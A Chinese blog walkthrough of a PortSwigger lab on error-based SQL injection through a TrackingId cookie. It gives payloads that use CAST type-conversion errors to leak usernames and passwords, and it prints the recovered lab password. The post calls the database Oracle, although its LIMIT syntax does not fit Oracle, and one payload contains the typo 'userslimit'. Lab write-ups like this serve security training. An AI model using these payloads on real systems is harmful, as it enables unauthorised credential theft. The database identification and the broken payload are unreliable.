首页 > 数据库 >burpsuite靶场----SQL注入13----oracle的CAST报错注入

burpsuite靶场----SQL注入13----oracle的CAST报错注入

时间:2023-08-18 18:13:46浏览次数:57  
标签:int ---- cast 报错 -- select 注入

burpsuite靶场----SQL注入13----oracle的CAST报错注入

靶场地址

https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based

正式开始

1.通过在TrackingId=JBhlRizkqfo87Hq8后面添加'和''(两个单引号)猜测是oracle数据库
添加'报错,添加''不报错


2.然后在TrackingId=JBhlRizkqfo87Hq8后面添加
' and cast((select 1) as int)--

3.发现报错,and后需要bool值,
cast((select 1) as int)获取到了1,但这个1是int类型,所以在前面填上1=,变为1=cast((select 1) as int),最终1=1获取到了bool值1
' and 1=cast((select 1) as int)--
相当于' and 1--,显示所以内容

4.然后再使用payload
' and 1=cast((select username from users) as int)--
注意TrackingId=JBhlRizkqfo87Hq8中的JBhlRizkqfo87Hq8内容要删掉

5.发现报错,说是返回列数大于1,这时需要用limit 1限制
' and 1=cast((select username from users limit 1) as int)--

6.然后报错出密码 smq5b25jw93pwvfx0phd
' and 1=cast((select password from userslimit 1) as int)--

7.登录

标签:int,----,cast,报错,--,select,注入
From: https://www.cnblogs.com/thebeastofwar/p/17641218.html

相关文章

  • Serverless 应用托管助力企业加速创新
    作者:熊峰云原生时代的Serverless应用托管架构回顾过去十年,数字化转型将科技创新与商业元素不断融合、重构,重新定义了新业态下的增长极。商业正在从大工业时代的固化范式进化成面向创新型商业组织与新商业物种的崭新模式。随着数字化转型在中国各行业广泛深入,不管是行业巨头,还......
  • 腾讯云 CODING 荣获 TiD 质量竞争力大会 2023 软件研发优秀案例
    点击链接了解详情8月13-16日,由中关村智联软件服务业质量创新联盟主办的第十届TiD2023质量竞争力大会在北京国家会议中心召开。本次大会以“聚焦数字化转型探索智能软件研发”为主题,聚焦智能化测试工程、数据要素、元宇宙、数字化转型、产融合作、未来产业等前沿热点主题......
  • 路径无法跳转的问题
    路径无法跳转问题在ts文件中引入.vue文件时还出现以下报错报错原因:typescript只能理解.ts文件,无法理解.vue文件解决方法:在项目根目录或src文件夹下创建一个后缀为.d.ts的文件,并写入以下内容:declaremodule'*.vue'{import{ComponentOptions}from'vue'......
  • 20-面向对象编程-多态
    面向对象编程有三大特征:封装、继承和多态 访问修饰符可以控制属性的访问范围public:表示公共访问级别,可以被任何类访问。protected:表示受保护访问级别,可以被类本身、子类和同一包中的类访问。default(缺省):表示默认访问级别,即如果没有使用访问修饰符,默认是此级别,可以被同一包......
  • nginx根据ip的地理位置进行转发代理(GeoIP2)
    nginx要获取到ip地理位置,需要在nginx引用第三方ngx_http_geoip2_module模块,而ngx_http_geoip2_module模块依赖libmaxminddb;另外ip对应的地理位置离线的需要从GeoIP2站点上下载下来;最后在nginx.conf文件中引用ngx_http_geoip2_module模块,配置离线数据库才可以获取地理位置nginx......
  • burpsuite靶场----SQL注入14----oracle的时间盲注test
    burpsuite靶场----SQL注入14----oracle的时间盲注test靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays正式开始1.进入标签2.抓包3.在TrackingId=BU622TbcJXbso7Wwh后面填上'||pg_sleep(10)--完成任务......
  • 使用appuploader工具发布证书和描述性文件教程
    使用APPuploader工具发布证书和描述性文件教程之前用AppCan平台开发了一个应用,平台可以同时生成安卓版和苹果版,想着也把这应用上架到AppStore试试,于是找同学借了个苹果开发者账号,但没那么简单,还要用到Mac电脑的钥匙串申请发布证书和上传ipa,可没有Mac,同学的大老远的也不方便拿过......
  • OpenCloudOS WOW 活动上线啦!千份社区好礼等你来拿!
    由OpenCloudOS社区联合腾源会开源摘星计划2023推出的 OpenCloudOSWow 贡献征文活动,正式开启啦!「OpenCloudOSWow」有海量的挑战任务、丰厚的成长激励、社区助教指导以及实践案例,帮助大家了解和参与OpenCloudOS社区,并在社区中学习和成长。同时让更多企业和社区伙伴获取O......
  • find -exec 命令后面的\;和+
    一个-exec只能执行一个命令,而且必须在命令后面加上终结符,终结符有两个:“;”和“+”。其中“;”会对每一个find到的文件去执行一次cmd命令。而”+“让find到的文件一次性执行完cmd命令。为什么必须有终结符?因为一个find后面可以有多个-execcmd,所以必须要有终结符分割他们。如果不......
  • java实现大文件上传控件
    ​ javaweb上传文件上传文件的jsp中的部分上传文件同样可以使用form表单向后端发请求,也可以使用ajax向后端发请求    1. 通过form表单向后端发送请求         <formid="postForm" action="${pageContext.request.contextPath}/UploadServlet" method="pos......